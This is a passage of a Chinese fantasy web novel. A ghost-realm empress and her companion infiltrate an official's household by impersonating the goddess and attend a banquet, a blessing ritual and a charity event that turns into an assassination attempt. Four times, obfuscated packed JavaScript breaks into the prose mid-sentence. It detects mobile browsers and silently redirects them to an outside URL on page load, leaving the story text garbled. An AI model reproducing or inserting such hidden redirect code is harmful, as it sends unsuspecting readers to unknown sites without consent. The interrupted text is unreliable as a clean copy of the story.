“为何是我来扮神女?”在认命之前,他还是多嘴问了一句。 “自然是神女说话少,哥哥嘴笨,这种事自然我来应付。”戚呈听后难得俏皮地撇撇嘴,果然这一嘴实属多余问。 待戚呈变幻成神女的模样后,刚准备给壬湮施法。“叩叩叩”,敲门声却突然响起。 “神女大人,圣水已经准备好了,可以沐浴了。”什么?这上来第一项就是沐浴吗?来得早真不如来的巧,这是正巧来抓她现行的吗? 戚呈朝壬湮抬了下眉眼,仿佛在问:女帝大人,该当如何?这表情出现在“神女”这张圣洁的脸上着实让人有些亵渎神明的感觉。 “神女大人有些疲乏,休息片刻便去。”壬湮未让门外的侍女进来,二人隔着一道门说着。 “可是公子吩咐过,圣浴每日都有固定时辰,耽误不得。”又是公子,看来那一天猜的果然不错,这里说了算的是那个公子。不过神女的衣食起居就是跟普通人不一样,沐浴都叫圣浴,还要有专门的地方。 说着门外的侍女就要推门而入,一个侍女竟不得神女允许就进出自如,难道她的权利竟比自己现在这个神女的贴身侍女权利还要大。 “哎呀,姐姐,瞧奴怎么能会耽搁了这么重要的事儿呢。”壬湮说着快步走到门口把半只脚已经跨进屋内的侍女迎了进来,只见她将胸往前又挺了挺,确实有些小派头。 “这不是那谁刚喊肚子痛,这时不知跑哪儿去了,神女回来后身子更弱了些,奴自儿怕是有些扶不住的。” 侍女经来前,壬湮将脸侧的头发弄乱了些许,怕她一眼识破。若是她识破也是不怕的,再敲晕一个罢了。 那侍女第一眼未看壬湮,而是朝榻上看去,戚呈扮作的神女状若无骨地依靠在一旁,确实要比先前看上去还要虚弱上一些。 侍女移回视线,又转到壬湮身上,壬湮忙摆出一个讨好的表情。 “你是谁?” 空气凝住,手已经做好准备。 “奴是小月啊!” “哦,那又是心儿那死丫头,整日里一到关键时刻就掉链子,真不知道公子怎会容忍这样一个废物留在神女身边侍奉。”侍女在她脸上盯了几秒,却未拆穿。 感情这侍女不识人脸吗?壬湮不觉长舒了一口气。 “就是就是呀,真是受够了。”原来另一个侍女叫“心儿”,不过如今只能先轻“踩”上一脚了。 “呵,还不是因为她原来就是在神女身边侍奉的,又胆小如鼠,若是像那个巧儿似的,不知得死多少回。哎呀,瞧我这张嘴!”意识到自己说多了的侍女赶紧止住话题。 “姐姐,不若姐姐帮奴一起扶神女去沐浴如何?”为了让对方答应,壬湮不惜撒娇似的轻晃着她的胳膊唤了两声“好姐姐”,却未曾察觉榻上紧闭双眼戚呈眼皮颤动了数下。 “好了好了,我自是会帮你,时辰有些紧了,咱们这就走吧。”说着二人便将“神女”扶了朝外走去,为了印证刚刚壬湮所说的虚弱,戚呈更是将大半 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14778903|157933||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 的重量压在了侍女身上。 侍女一边吃力地搀扶着想今天的神女怎会如此之重,一边好奇地问,“你今个儿这嘴怎的如抹了蜜似的,不似以往寡言?” 这她哪知道“自己”以往是何样子啊?“呵呵,姐姐莫要再打趣奴了,以往是妹妹不懂事,这以后还得多仰仗姐姐啊!”闭眼任由二人往前拽着走的戚呈着实有些惊讶,这样的壬湮谁见到过,也不知道这些个谄媚逢迎的话女帝大人是跟谁学的。 壬湮之所以让这侍女帮忙还有一个原因就是,她不认识神女沐浴之处的路啊! 幸好这路侍女熟悉,七拐八扭下终于到了圣泽殿,说是殿,不过还是个略大些的房间造了个池子,这环境还不如她在鬼域的宫殿气派呢。 “好姐姐,这一路辛苦您了,接下来的事交给奴就可以了,您歇歇吧。”将神女置于池子旁的石凳上后,壬湮打算将侍女打发走。 “这沐浴可不是件轻快事,你确定不需要我帮忙?”这侍女真是,奉承了两句就开始帮东帮西。 “自是可以,不过还有件事想要向姐姐打听一下。”都还不知道她叫什么呢。 “什么?” “是这样,奴想知道明日咱们有何安排,奴也好早做准备。” “心儿连这个也没告知你吗?” “呃……对啊,方才太着急了,其实平日里心儿姐姐一般不会告诉我这些,都是她说什么,奴便要做什么。”壬湮戏瘾又上来了,委屈的声音中带颤,就差哭出来了。 “哎,真是委屈妹妹了,没关系,以后姐姐来护着你。不过明日倒没有什么特别的安排,只是后日又是三日一次的朝拜日,莫要再起晚了。”看来神女身边的打工人也不容易呀。 “嗯嗯,今日多亏姐姐了,他日有事尽管唤妹妹。” “好吧,那我走了。”见壬湮坚持不用自己帮忙后只好作罢。 待终于打发走了侍女,壬湮转回身发现戚呈早已端正地坐在石凳上,静静注视着自己。 “为何如此看着我,难道,哥哥是真的想让奴服侍您沐浴不成,倒也不是不可以。”说着要去解他的衣衫,却立马被强有力的手掌阻止。 壬湮悻悻地想要抽回手指,奈何戚呈握得更紧了些。 “别闹,来坐。”戚呈说着拍拍身侧的空位置,壬湮毫不客气地挨着他坐了下来,还任由他给自己捏捏刚刚因搀扶他而有些酸麻的左臂。 忽而戚呈贴近壬湮耳侧,轻声说道,“今日在神女房间门外,霍仵与我说……”这是壬湮第一个近距离接触的男人。 以往和甲纥都未有过如此亲蜜的距离,戚呈那刻意放低的声线带着微微的震动感传入耳中,犹如一片羽毛轻挠新房,酥酥麻麻的,又痒痒的。 看着一瞬有些神游的壬湮,戚呈无奈摇头,忽然捏住她的鼻子,想看看她暴跳的反应。 “哎哎哎?干嘛!”声音明显高了许多,马上又被戚呈捂住嘴巴,随即放开。 壬湮看不懂戚呈这一番举动,却不知戚呈此刻觉得手心发烫得很。刚刚捂住她嘴巴时,壬湮不自知地吞咽了一下,就这一下,两唇相碰,在他的手心留下了烫人的温度。 “不过,你刚刚说什么,我没听清。”一点点旖旎突然被打破。 戚呈敛起神色,正声道,“神女就是永昼城城主之女,殷莳安。” 16. 神女相(七) 本想第二日打探下洞内地形的二人被突如其来的事情打断了计划,戚呈一早便被叫起来洗漱打扮了一番,换下平日里神女穿的繁琐华服,取而代之的是一套有些清新的淡蓝色裙衫,比起贵气更简单大方些。 今日来唤的侍女与昨日的侍女不同,更加沉稳寡言一些,一个早晨洗漱打扮的时间,壬湮愣是没从她的嘴里套到什么有用的东西,好歹最后是说服了本没想让她跟着去的侍女带上了自己。 侍女名叫秋莹,应该算是“公子”身边的心腹之类的人物,毕竟这种连干什么都不能告诉她这个贴身丫鬟的事情都是交由她来办的。 随后,秋莹引路,曲曲折折,绕了许久,竟是将二人带出了地洞,来到地上的庭院。院子不大不小,隐于葱葱林子中,难怪进来之前未曾注意到。 “秋莹姐姐,咱们这是要去哪里?”壬湮扶着“神女”一步缓于一步。 “少说话,机灵些。”秋莹边走边回头睨了壬湮一眼,“脚步快些,莫要偷懒。” “秋莹姐姐,并非奴偷懒,只是神女的身体是在是不允许。” 秋莹缓了自己的步子,却并未搭手帮忙,“今日不能叫神女,得叫夫人,记住了。” “夫人?”果真是殷莳安吗? “扣扣扣”,“公子,夫人到了。”没过多久,几人便来到了主屋书房前。 “进来。”传出一个的男声略显低沉。 待几人进入屋内,才发现其中陈设简单,一张案几上堆放着一摞折子,其后便坐着一名男子,便是当日地洞中的神秘男子,想来应该就是殷莳安的夫婿方拜生了,只不过今日神情有些颓然。 “公子,马车已备好。”秋莹朝男子一行礼,等待吩咐。 “夫人,咱们走吧。”说着抬步朝这边走来,自然而然地从壬湮手中接过“神女”,继而往外走去,可壬湮却看不出二人夫妻间亲密感。 眼看二人要出正门了,壬湮这才回神急忙追上。 上了马车后,壬湮和秋莹坐于车外,秋莹驾车,一路上壬湮只得竖起耳朵留意着车内的状况。 而车内的方拜生和戚呈假扮的殷莳安沉默了许久,忽的,一直假寐的戚呈感觉到一只手握了上来,强忍着想要把这只手折断的冲动,未曾做声。 “莳安,你能理解我的吧,别着急,我们,我们马上就要成功了。”听上去像是二人共同谋划的一般,只是,“莳安,你能理解我的对吧,毕竟你以前是那样得信封信奉神女。”说完,在戚呈的忍耐达到限度之前松开了他的手。 又恢复宁静,一路再无言,马车快速驶向邑城。 待到了目的地沈氏庄园后,壬湮才知晓方拜生今日参加的是何种宴会。 这沈氏乃是邑城有名的富商,承接着城池间的粮食运输买卖,与官府的人更是往来密切,怪不得以方拜生的身份也会参加这种民办的宴会。 而今日的宴会集聚了邑城的几大富商和官府要员,说是宴会,更像是地方龙头的聚首。 壬湮走在今人身后观察着一众簇拥上来搭话的官商,个个都想抓住这难得的机会在方拜生这个权贵面前露露脸。 只是这一众人中,壬湮却发现邑城城主汤弘新并未出现。 直到月上中天,汤弘新才姗姗来迟,只是脸色不太好,见了方拜生也未像其他人一般热情地上来搭话,甚至绕了个路直接无视掉了他,看来两个人不合呢,定然有些原因。 随着城主的落座,沈员外挥挥手让乐师舞姬都退了下去。 壬湮在戚呈身后为他夹了些菜摆摆样子,便默默退到身后站定低头作谦卑状。 “诸位,我们今夜相聚在这里,是为了一年一度的施善会,今天在场的多是老朋友,当然也有新朋友,何兄、晋兄。”说着沈员外举着酒杯冲二人遥遥敬了一下,壬湮顺着他的目光这才发现何姓商人竟然是个熟人。 “老沈,别啰啰嗦嗦的了,每年都是这些,何兄、晋兄刚刚都已经听大家讲过了,别整虚的了,咱们直接进正题吧。”正说话的这个大叔一看就是个急性子。 “好,那咱们就直接来商讨一下今年施善会的出资以及当天现场的安排吧。”沈员外笑笑顺着点出今日来的重点。 “今年不会还是像去年一样的比例吧,那咱们兄弟几个可是要有意见了。” “就是啊,方督使,您来评判一下,这去年是因为寒灾,这鬼天气一直冷到了五月份,小本生意都没赚到钱,咱们才掏空了腰包家底把这补上,今年若继续这样就对我们这些大商户不仁义了些。” “对啊,咱们虽然赚的钱是比普通人多那么一点,但那也都是大家辛辛苦苦奔波劳碌一整年攒下来的,谁挣得都是辛苦钱啊。” “我呸,大家赚的都是辛苦钱,可你李大帽赚的那是什么狗屁辛苦钱,整日里闲躺着出卖良心的辛苦钱吗?”说话的男人年纪不大,三十出头的样子,一看就还没有练就那些老油条们的世故与厚脸皮,一脸通红地朝刚刚说话的中年男子吼道。 “哎,小林,咱们今天不是来争论这个问题的,有什么经营上的问题咱们改日去商会上说个清楚,今个儿各位大人们都在场,可别让官爷们净瞅咱的笑话了。” “诸位稍安勿躁,今年定然不会像去年那样的高比例,自然还是按照我们之前几年的来,只是今年施善会现场的人手安排还需要各位多出一份力。”眼看众人关注点跑偏,沈员外赶紧将大家的注意点拉了回来。 “沈老儿,这是北边又出什么事儿了吗,干嘛又如此紧张?”座中的商人适时提出了疑问,商人的消息自然不如官府来的快,一时间大家都开始小声议论着究竟会是什么事情。 “诸位,听在下说几句?”这时一直未曾出声的方拜生看向众人,大家这才停下讨论的声音。 见众人安静了下来,方拜生朝身后的秋莹递了一个眼色,秋莹立马会意地点头。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14778904|157933||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' “请诸位侍从家眷先随我来吧。”说完秋莹也看了眼壬湮,看来这地方不是她能再继续待下去的地方了。 “呵。”这声音中带着不屑,声音不大,却很突兀,不巧正好与壬湮这桌相邻,听得清楚。 转头看去发现是城主汤弘新,二人果然不对付。 看过去的功夫正好汤弘新也往她们的方向看来,壬湮急忙砖头,随后准备将戚呈扶起,先行离去。 “夫人先留下,你先出去吧。”方拜生拦下壬湮接下来的动作,戚呈背对着她,壬湮看了他后背一眼,好歹有个人可以留下打探消息,随即转身退了出去。 待大门合拢,这才隔绝了屋内的一切声响。 壬湮看向组织大家井然等待的秋莹,“秋莹姐姐,夫人近几日神色不佳,奴看沈夫人都出来了,公子怎的让夫人留在了里面。”就连汤弘新的夫人都没来,却独留了柔弱的殷莳安。 “你来的时间不长,自然不知这施善会就是夫人刚来神坑时创办的,最开始也是由夫人主持的,只是最近几年大家都知道夫人身体不,咳……”秋莹意识到了什么,赶紧止住了话头,“我同你说这些干什么,于你又没什么用处。” 那可真是大有用处的,壬湮心想。 没过几分钟的时间,大厅旁的小侧门悄悄敞开了一条小小的缝,没人注意到,熟悉的侧脸,壬湮偷偷跟了上去。 壬湮守在回侧门的必经之路上,等着刚刚那人。 “何叔,何叔。” “哎哎?是谁在那里?”黑灯瞎火的,老人家像是受了惊吓。 壬湮不再逗他,慢慢现身“何叔。” “你认得我?你又是何人?”何谷可谓是将疑惑都写在了脸上,自从没人发现自己不是小月后,她便未再让戚呈施法变换模样。 “何叔,你好好看看啊!” “哎呦,是戚姑娘!小女啊最近……” “哎呀,何叔,时间紧急,何珍的事咱们回头说,还是先说事情吧。”壬湮急忙打断何谷的话头。 “哦哦哦,好。戚姑娘的嘱托,在下一定精心竭力。”何谷随着壬湮的话也是急忙点头。 “那请何叔一会儿进去,力荐督使夫人重新主持施善会。”壬湮赶紧将重点托出。 “力荐督使夫人?姑娘太看得起小老儿了,在下今年可是第一次参加施善会,人微言轻,怎么能够说服的了那些大人物,况且我也没什么真本事,本本分分熬了好多年才有如今的一点家底,老来得了珍儿这么个宝贝女儿,真是……” “打住,何叔,时间真的来不及了,你只管去挑个头,会有人附和你的。”壬湮又及时打断他的话,人上了年纪,就是爱絮絮叨叨个没完,跟街口的大爷没什么两样。 壬湮目送何谷从侧门又偷偷溜了进去,接下来屋内一定会有一场好戏,只是这好戏她却看不了了,真是平白便宜了汤弘新,不知要幸灾乐祸多久。 17. 神女相(八) 第二日清晨,壬湮起了个大早,戚呈已不在屋内,看来已出去探查。 若是壬湮未记错,今日是举行降福仪式的一天,只能尽快在那之前搜寻鲛人族未来新皇的踪迹。 等到接近晌午的时间,戚呈才从外边回来,两人未说上两句话,就只听见屋外传来叩门的声音,“神女大人,降福的时间快到了,公子请您过去。”接着传来秋莹公事公办的声音。 壬湮见戚呈已经变换了样貌,便快走了两步给她开门,“秋莹姐姐,这就来了。” 今日来的时间比壬湮预想的要早许多,依照上次的时间来算,起码得日落黄昏之时,不知今日的降福仪式为何如此着急。 估计戚呈这出去一时半刻的也探查不出什么来,既然有了昨晚的一出,也不怕他就算察觉到了“神女”有问题,就算发现也不敢怎么样,因为他还需要一个“方夫人”来主持施善会。 前往外厅的时候,秋莹破天荒地主动帮壬湮扶了“神女”,不仅如此,一路上总是装作不经意地看向壬湮的方向,“秋莹姐姐,可是有什么事情?” “啊?没……没什么。”许是没想到自己偷偷地瞧,壬湮居然会直接问出口,“好好做你的事,少问。” 又是冷言冷语,可刚刚壬湮明明从她偷偷望过来的眼神中看到了同情,不是强者对弱者的怜悯,而是同类之间的同情。 即便是有同情,壬湮知道想从她的嘴里问出缘由的可能性却不大,比起自己的命,刚刚认识的壬湮着实不值一提。 该是有大事要发生,难道是昨晚的举动已经引起了方拜生的怀疑? 不应当,现在最令他头疼的应该是他的那些“政敌们”,昨晚的事他应该将更多的怀疑放在那些支持的人身上。 那会是什么? 壬湮一路上做出了多种假设,或许今日的降福仪式与她有关?或许她是今日被降福的人?但种种假设在壬湮这里都还不算太糟,都是有路可退的。 待到降福仪式马上开始时都一切如常,壬湮不怀疑方拜生根本就未发现神女有问题。 仪式照常开始,两眼无神的少女一步步走向她的神明,无神的双眼渐渐被更空洞的幸福微笑填满,却不知自己也许正在走向黑暗的地狱,来自地狱里的恶鬼正披着伪善的外皮躲在谁人的背后狞着笑,餍足地享用着自己丰盛的晚餐。 “吾之神佛,让我匍匐于您的脚下,亲吻您的脚背,请您降下福泽,成全您的信徒。”又是一场信仰表演。 如脂玉般的手缓缓抬起,轻轻落下。 滴答,滴答。 洞中有水断断续续地滴落。 周围渐渐安静了下来,没有任何变化。 虽然,壬湮也并不知道该发生什么,或许这个跪立的女子该发生些什么。 叮铃,叮铃。 风吹动了重新挂好的红绸。 方拜生缓缓直起腰背,脸上看不出何种表情,没有意想当中的疑惑,或者愤怒。 他没有第一时间看向降福仪式中的两个女子,而是朝壬湮的方向略看了一眼。 奇怪的很,难道他发现了自己并不是小月,那更应该愤怒才对。 “神女大人近日被俗事烦扰,一心担忧流民之事,待施善会结束后再进行降福仪式。”只见方拜生缓缓开口,不见过多的愤怒,但也能隐隐听出后槽牙咬动的声音。 “这几日照看好神女。”方拜生朝身后的秋莹吩咐道,眼神却若有似无地瞟向壬湮的方向,随即被秋莹的应声打断。 “将神女扶下去好生歇息。”这话是对着壬湮说的,眼神深处甚至有丝丝笑意。 直到二人安全地回到房间,方拜生都未再有下一步动作。 方拜生今日的反应不在壬湮的预料中,原以为他会大发雷霆,谁想到不仅不生气,还有喜色。 壬湮本想就算今日被发现,方拜生也不敢拿戚呈假扮的“神女”怎样。毕竟,不久后的施善会他还需要一个“督使夫人”来主持。 壬湮和戚呈在地洞中安然度过了几日,除了隔几日秋莹会指派些莫名其妙的活儿给壬湮外,二人也未曾再有鲛人未来新皇或是流光珠的下落。 转眼已是施善会的日子。 北域已开春,晨时城外的河中还泛着雾气,略带凉意。几声莺啼衬着东升的红日,唤醒了神坑中酣睡一夜的人们。 今日神坑中最属实热闹,刚过卯时,东镇上刚布置的施善台前,已聚满了一堆漠北的难民。 说是施善台,不过是在镇郊搭了几个稍大点的施粥摊子,说是既是施善,自当节俭表率。 待壬湮扶着戚呈抵达到施善会时,几位主办的富商官员都已在一边的亭子中坐下。 立于高处,看着下方的难民人头攒动,仿佛又回到了女帝时期,接受众人的朝拜。 “督使夫人,时候差不多了,施善会差不多也可以开始了。”出声提醒的是上次组织聚会的沈员外,今年的施善会轮到他来主持,近几日也是露了不少回脸。 “那就有劳了。”照例开始前富商这边都会派代表“讲两句”说说如何筹备,做的好事自然是要大家知晓。 今年这活儿本来是要还给殷莳安的,但奈何方拜生以她今日身体不适替她给拒了,估计是害怕她说什么不该说的话。不过这样倒也省了戚呈二人的麻烦。 沈员外逮着这好机会可谓是大肆宣扬了一番自家的买卖,不过他也不想想这底下的一群人哪还有钱去支持他的买卖。 当然也不只有难民,外围还有一些前来围观的东镇或者是邑城的人,不是这等大日子,普通百姓哪能见着这么多高官贵人,官府举办这等施善会的目的也就达不成了。 当然,最初举办者殷莳安的目的可能很简单,但官是官,商是商,他们得考虑做这件事的利与害。 只是当地的难民属实有些多,早就挤满了摊子周围的地方,围观的人能不能听得见这边的声音还真是两说,不然此地也不能成为难以管理的地方。 沈员外终于是絮絮叨叨地说完了,美滋滋地离开他的“舞台”,心想这钱捐的也不是一点价值都没有。 “想必大家也都发现了,夫人 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14778905|157933||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 今年拖着病体来参加施善会,也足见她对大家的重视。”方拜生缓缓从亭中度出。 随着他的话音,下方的数百漠北难民竟然悉数跪下,“谢殷夫人。”并不标准的大靖话,喊的却是“殷”夫人,而不是“方”夫人。 他们拜的是“殷莳安”这个人,就像殷莳安当初举办施善会的目的一样单纯。 “夫人一向信奉神女,这场施善会,自然也是少不了神女的福泽,才让我们大靖如此安宁,你们尽管在神坑中安居,神女自会福佑大家。” 这方拜生还真是“神女”的忠实追随者,三句离不开“神女”,但为何却那样对待扮成神女的殷莳安呢。 “呵。”不必转头都能猜到发出嗤笑的肯定是汤弘新。 底下今年新逃来的漠北难民却是不明所以地左右互相看看,在他们漠北,自有自己的漠北神可以信仰,什么神女却是没有听说过的。 但早来几年的漠北人似是早已习惯,再次俯身,“谢神女福泽。”真是一语梦回地洞内的降福仪式,惊出壬湮一阵恶寒之感。 方拜生终于露出了满意的笑容。 待众人起身后,方拜生又是拉着“殷莳安”的手要与“她”施这第一碗粥,看着戚呈被他强硬地拉过去的左手,壬湮又是替她的好哥哥一阵恶寒。 反观戚呈倒是没有什么反应,故作不自然地和他一道用长勺舀起粥,颠颠倒倒十分不默契地倒入第一个人的碗中。 那人连捧着碗连胜道谢后,便到一旁的侍从那儿去领银钱,钱不多,但也足够他们这些人在这镇子上生活一段时间了。 接着二人舀起第二勺,本来这种施粥的活儿自然是用不到他们这些金贵的人,但是为了在百姓面前做做样子,展现一下善心,几个粥摊子前第一个执勺舀粥的人基本都是富商官员。 当然几勺过后就不会再有人关注这些了,大家只想尽快领到自己的那份粥和钱,这些个贵人儿们动作实在太慢,还不如让侍从来。 第三勺。 “乓!乓!乓!”突然而来的连续摔碗声。 一把长匕首直击戚呈所在的粥摊子。 壬湮只觉一颗心直接到了嗓子眼,喊又喊不出。 只见戚呈扮作的“殷莳安”受惊吓般抖掉手上的长勺,也顺便把附在他手上的手甩了出去,还是朝着刺客的方向,自己则顺势摔在地上,作惊吓状。 好嘛,这才是有怨当场报。 “狗官,还我妹妹。”为首的是一名执长匕首的漠北女子,大靖话极其不标准,可以说壬湮是将将能辨出她说的是什么。 “呲啦。”匕首偏离要害,划伤了方拜生的右臂,可惜,壬湮躲在人后遗憾地摇摇头。 当然,方拜生现在还不能死。 “贼人,伤我,不怕神女降罪于你!”壬湮真是佩服他,这时候了还在想着他那虚无的神女。 “呵,神女?我看是专吃女子的恶魔!”漠北女人动作未停,刀刀见血。 专吃女人?壬湮放眼一看,这才发现难民中竟大半都是男子与孩童,女子却很少。 18. 神女相(九) “呵,神女?我看是专吃女子的恶魔!”漠北女人动作未停,刀刀见血。 专吃女人?壬湮放眼一看,这才发现难民中竟大半都是男子与孩童。 那女子对方拜生步步紧逼,趁着护卫还未赶来的间隙已让他负了多处伤。 方拜生尽管是神坑的督使,但也只是文人出身,最多会舞一些花架子的招式,哪儿接过这种一不小心就会丢命的招数,已然被吓得钻了摊子底下。 女子身后又随即出现三个手执匕首的流民朝这边发难,速度略慢,攻击的招式也有些笨拙,但同样都是女子,只不过看上去比最先出现的女子年纪稍小一些。 壬湮赶紧拉回戚呈,往后退了数步。 这时,一旁的汤弘新竟也赶来几人身前,不似方拜生文人般的柔弱体质,他是习武之人,几招便阻止了女子的攻击。 但也仅仅阻止了攻向“殷莳安”的匕首,方拜生的死活好似并不在他的“多管闲事”范围内。 “快,快保护督使。”终于有人回过神来,之前被派去维持流民秩序的士兵纷纷从人群后往这边赶来。 但奈何人群密集,举步难行。 尽管士兵全力疏散,但行至粥摊前时,方拜生已然受了多处严重的伤,甚至右侧大腿上渗着血。 旁边几个摊子前的富商官员也都受到了波及,冒着热气的粥早已撒的撒,人也早已能躲的躲。 士兵赶至,不出几息时间,四人便被擒住,已然没了达成目的或者当场逃生的可能。 “督使大人,督使大人,快,快去请大夫。”还是沈员外先将方拜生从桌底拉出来,给扶到一旁的石凳上。 但方拜生已然连自己坐着的力气没有了,斜倚在石桌边缘,别提有多狼狈了。 壬湮隐隐约约还能听到他在嘟囔什么“神女保佑”一类的词儿,真是大难临头也治不好他这病了。 “说,是谁派你来的。”这边督使还在哆哆嗦嗦地后怕,那边的手下已经开始审问。 “幺度,其霍拖,回戈多亚奇俄白,嗯哼。”是年长的女子,刚说了一句话就被身后的士兵一脚踩在背上。 “她在说什么?”壬湮悄悄靠近戚呈。 “她在对那个带紫色头巾的女子说:‘小妹先走,她们随后就到。’”戚呈俯身回应道。 “戈多!”年纪最小的女子看向她,像是在诀别。 不好,“呃”,来不及了,年纪最轻的女子已经服毒自尽。 “拦住其他人!” 但其他三人好似并未有下一步动作。 “今日是施善会,不能被几个刺客扰了我们的正事,这几人拉下去严加审问。”出声的竟是汤弘新,他不更应该静静看戏吗? “可,可万一她们再自杀怎么办?”士兵统领有些犹豫。 “不会。” “啊?为何?” 汤弘新却未在说话,那漠北女子凄然道,“呵,因为,买毒药也需要钱啊。”她们穷得连买毒药寻死的钱都没有。 瞬间有数双同情的视线望过来,所以她们将最轻松的死法留给了最年幼的小妹。 徐徐暖风拂过众人的发丝,好似从千里之外的南域吹来,越逼近晌午,温度也越来越高。周围的人并没有因为刚刚的“闹剧”而散去,反而越聚越多。 早春时节,此时在场众人却莫名觉得燥热。 “这,汤城主,施善会还要继续吗?”手下没了主意,方拜生已然离去,只得去问还在场的汤弘新。 “自然,你家方督使的一番苦心怎能白费呢?”果然,还是那个阴阳怪气的汤城主。 “有没有觉得气氛比之刚才好似有些怪异?”壬湮见方拜生离去,也不必再时刻演戏给他看了。 “哪里怪异呢?倒是有些似曾相识。”未曾等待戚呈回应,壬湮接着观察起一个个不停前来排队领粥的人。手上动作不停,解开了晨起出门为了压风御寒的外衣。 “眼神。”这时戚呈已伸手将她解下的外衣收在臂弯中。 二人动作极其自然,可在其他人眼中就不一定了。 “对,眼神,大家好像没有刚才那般急切了,无精打采的。” “哎呦,你们二人这是在干嘛?主不似主,仆不似仆的。”突然出现的汤弘新打断了二人的思绪,壬湮这才发现自己竟坐在了石凳上,戚呈立于一旁提她贴心地收着衣物,外人眼中却是督使夫人在服侍一个侍女。 “哎呀,是n奴偶感身体不适,夫人好心,才让我坐的。”壬湮慌忙间赶紧起身,竟忘了转换自称。 “哦,夫人仁慈,但你也要记住你自己的身份。”这话明显有意提醒壬湮。 “奴记住了。”嘴上如是说,心里确是给这阴阳怪气的城主记上了一笔。 “怎么,你与他相识?”待汤弘新离远了一点,壬湮这才小声问戚呈,语气中有她自己都未察觉的别扭。 “未曾说过话,应是原来的殷莳安。”戚呈仍是浅笑着看向她,安抚着她莫名的小情绪。 原来的殷莳安,她身上的故事应该不会少。 ———————— 呼呼呼,是初春的风吹入墙隙的声音,地洞中都仿佛弥漫着尘土的气息。 干燥而冷冽。 壬湮在睡梦中仿佛回到了在鬼域的年少时,眼前坐着的是死去多年的大哥甲纥。 “小湮,你也觉得我应该当那鬼域魔君吗?”眼前的男子还是那般温润,一袭白衣不似鬼域之人,一贯风轻云淡的嗓音中仿佛染上了哀愁。 “大哥,无论你想做什么我都会支持你的,即使是那魔尊之位,何况它本就应该属于大哥你。”年少时的壬湮一直将甲纥当作心中的信仰,那是她在鬼域中最特别的存在,这魔君之位不可能落入其他人之手。 那时的壬湮没有见过凡世的阳光,可在她心中,甲纥就是一抹照进鬼域中的阳光。不热烈,却温暖了壬湮整个年少的岁月。 长兄如父,甚至超越了他们的父亲,苍君帝。 那时苍君帝刚刚殒落,鬼域十魔子中只有老大甲纥和排行第九第十的壬湮和赤癸是老魔君亲生的。 壬湮是女身,自然第一个被排除,赤癸又是半人半魔的出身,本来这魔君之位毫无争议就是甲纥的。 可鬼域最是不 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14778906|157933||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 缺挑起争端的人,甲纥性情软弱寡断,不是魔君的最佳人选。 这些异端声音最后竟支持起最年幼的赤癸,一个还未成年的孩童,背后的算计可想而知。 鬼域各大势力纷纷站队,一场恶战在所难免。 “以前我也曾埋怨过父亲,为何好好的神君不做,却要来这暗无天日的地方做劳什子魔君。”甲纥的声音再次响起,将壬湮的思绪再次拉回眼前的场景中。 这是大战的前一天,甲纥又一次带着壬湮来到虹洞外,这常年被瘴气笼罩的地方早已被甲纥种满了艳丽的花儿,瘴气退去后,有缕缕阳光透了进来。 那是壬湮第一次真切地知晓她的大哥那样地讨厌鬼域,那次也是他在和这个生养他的地方做最后的告别。 他或许本该属于有阳光的地方,神域也好,凡世也好,这些地方才能让他肆意快活。 无奈,这两个地方注定都不会欢迎他,现在就连鬼域也开始嫌弃他的懦弱。 那在壬湮眼中顶好的脾性,如今成了他生存下去的致命弱点。 于是他退而求其次想要寻一个懂他的人,可就连壬湮也是不懂他的。 壬湮确实不明白,鬼域虽然乱,可相比较于她之前待的地方,不知自由了多少。 甲纥只是柔和地抚摸着壬湮的头,“那是你未曾去过更好的地方,那种去过一次便忘不了的地方。” 转而他又像是想到了什么,“若我离开,小湮又该怎么办?” 可他不知道的是,有些人在自己的羽翼下太久,早已辨不清她真实的模样。 “大哥,如果你不想做魔君,那我们就离开这里,就去你说的凡世。”那不知是第几次动了去凡世的想法,以前是因为甲纥经常给她讲凡世的故事,如今是想让大哥快乐一些。 “好,明天我们就去凡世。” 甲纥终是没能带她去一次凡世,他永远留在了那场大战中。 这是他给自己找的归宿。 